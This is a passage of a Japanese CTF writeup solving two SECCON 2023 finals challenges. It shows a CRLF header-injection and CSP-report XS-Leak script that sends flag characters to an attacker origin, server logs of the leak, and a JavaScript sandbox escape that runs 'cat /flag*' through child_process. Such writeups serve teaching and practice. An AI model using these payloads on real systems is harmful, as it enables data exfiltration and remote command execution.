というフラグがCookieに設定されているとする。ヘッダインジェクションによって Content-Length: 74
と Content-Type: text/html
という2つのヘッダを仕込み、最後にCRLFを2連続させて Status
ヘッダ等をレスポンスボディに追い込んだ上で <style>
で締める。クエリパラメータは /?q=Content-Type%3Atext/html%0D%0AContent-Length:74%0D%0A%0D%0A<style>
のようになる。このとき、レスポンスボディは次のようになる。
<style>Status: 200 OK Content-Type: text/plain; charset=utf-8 SECCON{d
default-src 'none'
というCSPに違反しているから、DevToolsのコンソールでは当然次のようにエラーメッセージが表示されている。ここで、たとえば 'sha256-sUk0UQj8k0hBY6zv2BrvpRoV2OT8ywX8KXOsunsVi9U='
というハッシュ値がCSPで明示的に許可されていればOKと言われているのがわかる。
これに基づいて Content-Security-Policy-Report-Only:default-src 'none'; style-src 'sha256-sUk0UQj8k0hBY6zv2BrvpRoV2OT8ywX8KXOsunsVi9U='; report-uri https://example.com
というようなヘッダを、またヘッダインジェクションで追加する。DevToolsでは同じエラーが表示されている。
では、style-src
で指定したハッシュ値を変えるとどうなるか。適当に1文字を変えてみる。今度は [Report Only]
から始まるエラーメッセージも出力されていた。
Networkタブを見ると https://example.com
にCSP違反のレポートが送信されていることもわかる。この差異を使おう。
解く
1文字ずつフラグが取得できるようなスクリプトを書く。競技終了の1時間半前に急いで書いたものなので、色々雑で申し訳ない。
import base64 import hashlib import json import string import urllib.parse from flask import Flask app = Flask(__name__) ATTACKER_ORIGIN = 'http://example.com:8000' #BASE = 'http://localhost:3001' BASE = 'http://web:3000' TABLE = '_}' + string.ascii_lowercase template = b'Status: 200 OK\nContent-Type: text/plain; charset=utf-8\n\n' def gen(c): l = 74 + len(flag) - 7 s = template + flag.encode() + c.encode() h = base64.b64encode(hashlib.sha256(s).digest()).decode() url = BASE + '?q=' + urllib.parse.quote(f"Content-Length:{l}\r\nContent-Type:text/html\r\nContent-Security-Policy-Report-Only:default-src 'none'; style-src 'sha256-{h}'; report-uri {ATTACKER_ORIGIN}/report/{c}\r\n\r\n<style>") return url flag = 'SECCON{leak' @app.get('/neko') def index(): res = [] for c in TABLE: res.append(gen(c)) return '''<script> const urls = URLS; let w = window.open(); function sleep(ms) { return new Promise((r) => setTimeout(r, ms)); } (async () => { for (const url of urls) { w.location = url; await sleep(500); } })() </script>'''.replace('URLS', json.dumps(res)) done = {k: False for k in TABLE} @app.post('/report/<c>') def report(c): done[c] = True print([k for k, v in done.items() if not v]) return 'ok' app.run(host='0.0.0.0', port=8000)
http://example.com/neko
のようなURLを報告すると、たとえば次のようにフラグのn文字目について1文字ずつ候補が削除されていき、最終的に確定する。flag
に新しくわかったフラグの1文字を加え、サーバを再起動する。また報告する。これを繰り返していくとフラグが得られた。
… 153.120.168.136 - - [24/Dec/2023 06:34:06] "POST /report/t HTTP/1.1" 200 - ['r', 'v', 'w', 'x', 'y', 'z'] 153.120.168.136 - - [24/Dec/2023 06:34:06] "POST /report/u HTTP/1.1" 200 - ['r', 'w', 'x', 'y', 'z'] 153.120.168.136 - - [24/Dec/2023 06:34:06] "POST /report/v HTTP/1.1" 200 - ['r', 'x', 'y', 'z'] 153.120.168.136 - - [24/Dec/2023 06:34:07] "POST /report/w HTTP/1.1" 200 - ['r', 'x', 'z'] 153.120.168.136 - - [24/Dec/2023 06:34:08] "POST /report/y HTTP/1.1" 200 - ['r', 'z'] 153.120.168.136 - - [24/Dec/2023 06:34:08] "POST /report/x HTTP/1.1" 200 - ['r'] …
SECCON{leaky_sri}
[Misc 388] whitespace.js (2 solves)
Don't worry, this is not an esolang challenge.
(問題サーバのURL)
添付ファイル: whitespace-js.tar.gz
author: Ark
問題の概要
与えられたURLにアクセスすると、次のようになにか計算してくれそうなフォームが表示された。7*7
を入力して計算ボタンを押すと 49
が返ってくる。しかしながら、123
と入力すると Error
と怒られてしまった。何が起こっているのだろうか。
ソースコードのうち、問題文中のURLでアクセスできるWebサーバに対応する index.js
は次の通り。非常にシンプルで、POSTで投げられてきた expr
、つまり先程のフォームで入力した文字列を whitespace.js
に投げているだけだ。
const fs = require("node:fs").promises; const execFile = require("node:util").promisify( require("node:child_process").execFile ); const app = require("fastify")(); const PORT = 3000; app.get("/", async (req, res) => { const html = await fs.readFile("index.html"); res.type("html").send(html); }); app.post("/", async (req, res) => { const { expr } = req.body; const proc = await execFile("node", ["whitespace.js", expr], { timeout: 2000, }).catch((e) => e); res.send(proc.killed ? "Timeout" : proc.stdout); }); app.listen({ port: PORT, host: "0.0.0.0" }).catch((err) => { app.log.error(err); process.exit(1); });
whitespace.js
を確認する。送信した文字列を eval
してくれており、やったー! と言いたいところだけれども現実は厳しい。まず [...process.argv[2].trim()].join(WHITESPACE)
という処理があるけれども、これはたとえば 123
という文字列が渡ってきたときに、スプレッド演算子によって ['1', '2', '3']
という配列へ変換し、そしてスペースで結合し '1 2 3'
という文字列にしている。また、関数の呼び出しを防ぐために (
や )
が含まれていないかを確認している。もし含まれていれば、その場でプロセスが終了し、以降の eval
へは進まない。
const WHITESPACE = " "; const code = [...process.argv[2].trim()].join(WHITESPACE); if (code.includes("(") || code.includes(")")) { console.log("Do not call functions :("); process.exit(); } try { console.log(eval(code)); } catch { console.log("Error"); }
Dockerfile
で mv flag.txt /flag-$(md5sum flag.txt | cut -c-32).txt
というコマンドが実行されており、フラグが含まれるファイルのパスを特定する必要があるが、JSコードでルートディレクトリのファイルの一覧を取得し、そのうち flag
から始まるものを探し… というのは面倒なので、child_process
モジュールを使って cat /f*
のようなOSコマンドを実行できると嬉しい。これをこの問題における目標とする。
whitespace.js
では入力された文字列について1文字ごとにスペースを入れられてから eval
されているわけだけれども、ここからOSコマンドの実行に持ち込むのは難しい。たとえば、モジュールを読み込むために require
へアクセスしようにも、require
を入力すると r e q u i r e
に変換されてしまう。当然JSのコードとしては正しくない。どうすればよいだろうか。
基本的なテクニック
CTFではなんらかの制約のもとでJSコードが実行できる、あるいはそれに近しいことができる問題がたまに出題される。今年出題されたものでは、次のような問題がある。
- TSG CTF 2023 - [Web] Brainfxxk Challenge, [Misc] Functionless
- SECCON CTF 2023 Quals - [Sandbox] node-ppjail
- HITCON CTF 2023 Quals - [Misc] Lisp.js
いずれにしても、JSFxxkという [
, ]
, (
, )
, !
, +
の6種類の文字だけで任意のJSコードを実行できるようにするツールの考え方を基本としている。JSFxxkがどうやってそのようなことを実現しているかについては「JSFxxk 仕組み」のようなクエリでヒットする色々なブログ記事を参照されたい。基本的には、''.constructor
で String
を取り出し、もうひとつ .constructor
を繋げて ''.constructor.constructor
で Function
を取り出すといったようなプロパティへのアクセスと、それからプロパティ名を作るために限られた文字種で好きな文字・文字列を作成するという2点がまず重要となる。
プロパティのアクセスの方法については、[
も ]
も使えるので問題はない。任意の文字列の作成については、今回は文字種が限られているわけではない((
と )
は使えないが、それ以外は使えるということで厳しくはない)が、'hoge'
のような文字列リテラル中にも当然スペースが入り込んでくるのが邪魔であるため、やはりどう実現するか考える必要がある。
変換後の文字列がどうなるかを考えると簡単で、たとえば 'a'
は ' a '
に変換されるわけだから、その2文字目を取り出すことで 'a'
という文字列が作れる。つまり 'a'[1]
のようなコードを送信すればよい。このようにして1文字ずつ作っていき、'a'[1]+'b'[1]+'c'[1]
のようにして結合すればよい。これで1文字ごとにスペースが入っても 'abc'
という文字列を作れるし、ほかの文字列についても同様だ。
どんなプロパティにアクセスしたいか。最優先は eval
相当のことができる Function
だ。これは先ほど紹介したように ''.constructor.constructor
相当のことをすればよい。次のようなコードを送信することで、動作するのは当然ながらスペースが挿入された後に限られるが、Function
にアクセスすることができる。いちいち文字列を生成したりプロパティを辿っていったりしていると読みづらくて仕方がないので、1文字変数によく使う文字列や関数などを入れておく。
c='c'[1]+'o'[1]+'n'[1]+'s'[1]+'t'[1]+'r'[1]+'u'[1]+'c'[1]+'t'[1]+'o'[1]+'r'[1] // 'constructor' s=''[c] // String f=''[c][c] // Function
ここから Function('console.log(123)')()
相当のことができないかと思ったところで、(
と )
なしにどうやって関数を呼び出すかという問題があることを思い出す。JSにはタグ付きのテンプレート文字列とよばれる機能があり、たとえば console.log`123`
のようにして console.log(123)
相当のことができ…ない。ここでタグとした関数は呼び出されるものの、引数は ['123']
のように配列が渡っていることがわかる。
もっとも、次の実行結果を見るとわかるように、Function
であれば配列が渡されても構わない。ここで渡ってきた配列は Function
側で勝手に文字列化されるためだ。
Function`console.log(123)` // function () { console.log(123) } とほぼ等価
なお、テンプレート文字列では `a${123}b`
のようにして式の展開もできる。タグ付きのテンプレート文字列と併用した場合には、次のように第2引数以降に埋め込まれた式を評価した結果が入っていることがわかる。これを使うことである程度自由な引数で関数を呼び出すことができる。もちろん、$
と {
の間にスペースが入ってしまうので、この問題ではそのままでは使えないのだけれども。
function f(...args) { console.log(JSON.stringify(args)); } f`a${7*7}b${123}b`; // [["a","b","c"],49,123]
任意の文字列の作成、プロパティアクセス、バックティックによる関数の呼び出し。この3つを基本として何がやれるかを考えたい。
試行していたこと
色々考えて試しつつも失敗していたことを書いておく。答えだけ見たい方は次の見出しまでスキップのこと。
いくつか過去問を紹介したが、TSG CTF 2023のFunctionlessがもっともこの問題に近いと考えていた。Functionlessは (
, )
, それからバックティックまで使えないという問題で、同じくOSコマンドの実行に持ち込むことが目的だった。関数呼び出しに関してはこの問題より厳しい。ポイントは、禁止されている3つの文字を使わずに関数を呼び出すかというところで、ただ呼び出すだけなら toString
を使えば簡単だが、引数のコントロールができないことが問題となる。Symbol.hasInstance
というシンボルを使えば、'Hello' instanceof { [Symbol.hasInstance]: console.log }
で引数をコントロールできるが、今度はその返り値が Boolean
に変換されてしまうという新たな問題が出てくる。
返り値に関する問題があるとはいえ、引数がタグ付きテンプレート文字列よりは自由であること(['h','o','g','e']
のような使いづらい配列が渡されるわけではない!)、 Symbol.hasInstance
は魅力的に見える。ただ、Object.getOwnPropertySymbols`a`
のように文字列にシンボルが生えていないか調べて Symbol
にアクセスしようとしたものの、当然存在しないし、そもそもスペースが入るのにどうやって instanceof
を作るんだという問題があった。
この問題の作問者であるArkさんは、Functionlessの解法として Error.prepareStackTrace
と Error.stackTraceLimit
というV8の機能を使って解いていた。その解法について詳しくはここでは述べないが、Error
もしくはそのサブクラスのインスタンスを作成し、name
プロパティへ実行したいJSコードを仕込めるということが要件となる。SyntaxError
でも ReferenceError
でもなんでもよいので、何らかの関数やプロパティから Error
が手に入れられないかと考えた。これはたとえばTypeScriptのリポジトリにある es5.d.ts
等で Error
を返しうる関数や Error
が入りうるプロパティを探すと楽かと思ったが、見つけられなかった。JSFxxkが Symbol
や Error
を生成していないか探したが、なかった。
Functionless
の作問者によるwriteupや、ほかのwriteupも参照する。Array.prototype.toString=Object.prototype.toString
のようにprototypeを汚してしまうアイデアは使えそうではあるものの、やはり Error
や Symbol
を参照しているのでそのまま解法全体を使えそうにない。
Array.prototype.toString
を書き換えるというアイデアに刺激を受ける。たとえば次のように Array.prototype.join
を書き換えると、Function
をタグ付きテンプレート文字列のタグとした場合に第1引数として配列が渡り、文字列化の際に Array.prototype.join
が呼ばれることを利用して、関数の本体を好きなものに変えられることに気づいた。しかしながら、どうやって指定した文字列を返す関数を作れるかが思いつかなかった*10。
かなり詰まっていた。
Function.prototype.callerを参照する
1日目の終了後に家へ帰ってからずっとこの問題について考えていたけれども、急に天啓が降りてきた。JSでは Function.prototype.caller
という(非推奨ではあるが)便利なプロパティが存在している。何ができるかというと、たとえば function f(){ return f.caller }
のように関数中で参照することで、その関数を呼び出した関数を参照することができる。
今の例では名前のある関数を使ったけれども、この問題では Function
経由でしか関数を作れないから、無名関数でなんとかする必要がある。これについては、f = Function('return f.caller')
のようにしても機能することが使える。
Function
はタグ付きテンプレート文字列で呼び出すということで、スペースが挿入されても問題なく動く関数の本体をどうやって作るか。これは事前に c='caller'
のように caller
という文字列が入った1文字変数を作っておくことで、f
に Function
が入っているとして、g=f`g[c]`
のようにして、スペースが入ったとしても問題なく g.caller
にアクセスできる関数が作れた。
最後に、どうやって return
なしに返り値を得るか。わざわざ返り値から g.caller
を得る必要はない。a=g[c]
のように、関数中でグローバル変数に入れておけば、後から参照できる。
これらを組み合わせて、g=Function`a=g.caller`; g`x`
相当のコードを実行する。Node.jsはCommonJSでは (function (exports, require, module, __filename, __dirname) { /* ここにJSファイルの中身が入る */ });
のような関数にJSファイルのコードを展開して実行するわけだけれども、次のように whitespace.js
のその関数を参照することができた。arguments
から実引数にアクセスすることで require
や module
といった非常に便利な関数やオブジェクトを手に入れることができた。
ただし、require
で任意のモジュールを読み込もうにも、関数の引数が自由にコントロールできていないという根本的な問題が残っているし、事前に何もモジュールが読み込まれていないので、別のロード済みのモジュールから芋づる式に面白いものを引っ張ってくるということもできない。require.extensions['.js']
に入っている関数が、引数の型をおそらくチェックしておらず面白いと思ったものの、やはり引数のコントロールができていないという壁がある。
String.prototype.trimを置き換える
悩んでいると、急に天啓が降りてきた。引数として渡ってきた require
や module
を参照するだけでなく、caller
で手に入れられたその関数自身を使えないか。つまり、ret2vulnのようにもう一度コードが eval
される処理を呼び出すことができるわけだから、それを利用できないか。
それから、whitespace.js
では最初に何故か const code = [...process.argv[2].trim()].join(WHITESPACE);
と String.prototype.trim
によって与えられたコードの先頭と末尾の空白を取り除いていた。もし trim
が文字列でなく ['hoge']
のような配列を返すと、[...process.argv[2].trim()]
は ['hoge']
のような配列となり、それを join
するということで、code
はスペースのない元のコードが入るのではないかと考えた。
trim
をどの関数で置き換えると配列が返るようになるか。[this]
を返すような関数があると嬉しい。配列周りの処理になにかあるだろうと Array.prototype
を眺めたところ、Array.prototype.concat
がそれだった。次のように String.prototype.trim
に Array.prototype.concat
を仕込んでやると、たしかに望んでいたように動くことが確認できた。
String.prototype.trim = Array.prototype.concat; [...'abc'.trim()].join(' ') // 'abc'
whitespace.js
を最初に code
を出力するよう改造して、これに相当するコードを作成する。
s=''[c='c'[1]+'o'[1]+'n'[1]+'s'[1]+'t'[1]+'r'[1]+'u'[1]+'c'[1]+'t'[1]+'o'[1]+'r'[1]]; f=''[c][c]; a='c'[1]+'a'[1]+'l'[1]+'l'[1]+'e'[1]+'r'[1]; b='a'[1]+'r'[1]+'g'[1]+'u'[1]+'m'[1]+'e'[1]+'n'[1]+'t'[1]+'s'[1]; ''[c]['p'[1]+'r'[1]+'o'[1]+'t'[1]+'o'[1]+'t'[1]+'y'[1]+'p'[1]+'e'[1]]['t'[1]+'r'[1]+'i'[1]+'m'[1]]=[]['c'[1]+'o'[1]+'n'[1]+'c'[1]+'a'[1]+'t'[1]]; g=f`m=g[a]`; g``; m``;
実行すると、次のようにスペースの入っていない元のコードが eval
される様子を観測できた。
2度目の呼び出し
ほぼ勝ちではないかという雰囲気だが、まだ問題はある。先程のスクリーンショットを見るとエラーが発生していることがわかるが、何が起きているか。これは、文字列の作成時にスペースが入る前提で 'c'[1]
のように1文字ずつ作っていたけれども、今度はこれがスペースが入っていないまま実行されるので、当然ながら undefined
が返ってきてしまう。これは、'cc'[1]
のようにしてやれば解決する。先程のコードは次のようになる。
s=''[c='cc'[1]+'oo'[1]+'nn'[1]+'ss'[1]+'tt'[1]+'rr'[1]+'uu'[1]+'cc'[1]+'tt'[1]+'oo'[1]+'rr'[1]]; f=''[c][c]; a='cc'[1]+'aa'[1]+'ll'[1]+'ll'[1]+'ee'[1]+'rr'[1]; b='aa'[1]+'rr'[1]+'gg'[1]+'uu'[1]+'mm'[1]+'ee'[1]+'nn'[1]+'tt'[1]+'ss'[1]; ''[c]['pp'[1]+'rr'[1]+'oo'[1]+'tt'[1]+'oo'[1]+'tt'[1]+'yy'[1]+'pp'[1]+'ee'[1]]['tt'[1]+'rr'[1]+'ii'[1]+'mm'[1]]=[]['cc'[1]+'oo'[1]+'nn'[1]+'cc'[1]+'aa'[1]+'tt'[1]]; g=f`m=g[a]`; g``; m``;
ただ、これを実行すると、次のように無限に再帰をしてしまう。同じ処理が実行されるのだから当然だ。
スペースが入っている場合と入っていない場合で違う処理が実行されるようにできないか。1回目かどうかで値が変わるグローバル変数と if
を併用できたら嬉しいが、当然ながら i f
のようにスペースが入ると使えない。if
相当の機能もなかなか思いつかない。
ふと、//
のようにコメントアウトするとどうなるか考えた。1回目の実行では / /
のようにスペースが入るが、このときは正規表現リテラルとして解釈される。2回目の実行では当然ながらそれ以降改行までがコメントとして扱われる。これを利用して、上記のコードでは m
という変数に whitespace.js
全体の処理を含む関数が入っているわけだけれども、m
の実行を //+m` `
という処理に置き換えることを考えた。これで、1回目では m
が呼び出されるけれども、2回目ではコメントアウトのため当然呼び出されない。
最終的に、次のようなコードでフラグが得られた。
s=''[c='cc'[1]+'oo'[1]+'nn'[1]+'ss'[1]+'tt'[1]+'rr'[1]+'uu'[1]+'cc'[1]+'tt'[1]+'oo'[1]+'rr'[1]]; f=''[c][c]; a='cc'[1]+'aa'[1]+'ll'[1]+'ll'[1]+'ee'[1]+'rr'[1]; ''[c]['pp'[1]+'rr'[1]+'oo'[1]+'tt'[1]+'oo'[1]+'tt'[1]+'yy'[1]+'pp'[1]+'ee'[1]]['tt'[1]+'rr'[1]+'ii'[1]+'mm'[1]]=[]['cc'[1]+'oo'[1]+'nn'[1]+'cc'[1]+'aa'[1]+'tt'[1]]; g=f`m=g[a]`; g``; // + m``; f`a${'console.log\x28process.mainModule.require\x28"child_process"\x29.execSync\x28"cat /flag*"\x29+""\x29'}b` ``
SECCON{P4querett3_Down_the_Bunburr0ws}
Function.prototype.caller
を思いついてから1時間ほどでローカルでのフラグの取得までできた。ローカルで解けた後に、喜びのあまりArkさんにDiscordのDMで解けたという報告をしてしまった。翌日の朝一番でフラグの取得と提出を行ったものの、提出の速度で同じく夜の間に解いていたであろうAAAに負けた。国内ではfirst bloodだった。
*1:このチーム名はkeymoonさんが案を出したもの。ヴェリタスでもよいのではないかと提案したところ、優勝できなかったらかなり悲しいのではないか、またヴェリタスであれば4人いてほしいということで、確かに…と納得してCyberMidoriとなった。ところで、この決勝大会へ行っている間にヴェリタスイベントが発表されていたし、ハレ(キャンプ)もかわいくてよかった。ハッカーたちのキャンプということで実質セキュリティ・キャンプ
*2:まだ私のところにミドリはいない…
*3:常時1~3位にいた気がする
*4:表彰式では便宜的にチーム顔文字と読まれていた。読めないチーム名にするのはよくないと思いますよ
*5:両日とも18時以降終了だから「日中」ではないか…
*6:世の中にはInternational Cybersecurity Challenge(ICC)のように、1日目はJeopardyで数時間、2日目はAttack & Defenseで数時間というように日ごとに独立したルールを採用し、時間を区切ることで、「徹夜をしたらこの問題が解けるかも」という未練もなく夜中にゆっくりと休みが取れるCTFもある。どちらがよいかと聞かれると、個人的にはどちらとも言いがたい。徹夜上等のCTFであればその長い競技時間に見合った難易度の問題に挑めて楽しい。一方で、徹夜すると生活リズムがぶっ壊れてつらく、そもそも徹夜のインセンティブがまったくなければ、徹夜すべきかすべきでないかを悩まずさっさと眠れるのでそれもまた嬉しい
*7:これでも短く、あと数時間は寝たいところで、眠くはあったけれども
*8:ノートPCをあまり使わず、またモバイルモニタが必要になるような機会もあまりないので、いいものを買うのももったいないなと思いケチってしまった。モニターアームに取り付けて普段から使えばいいじゃんという話だけれども、スペースが足りない
*9:pastebin
*10:実はこれを突き詰めるのが想定解法だったっぽい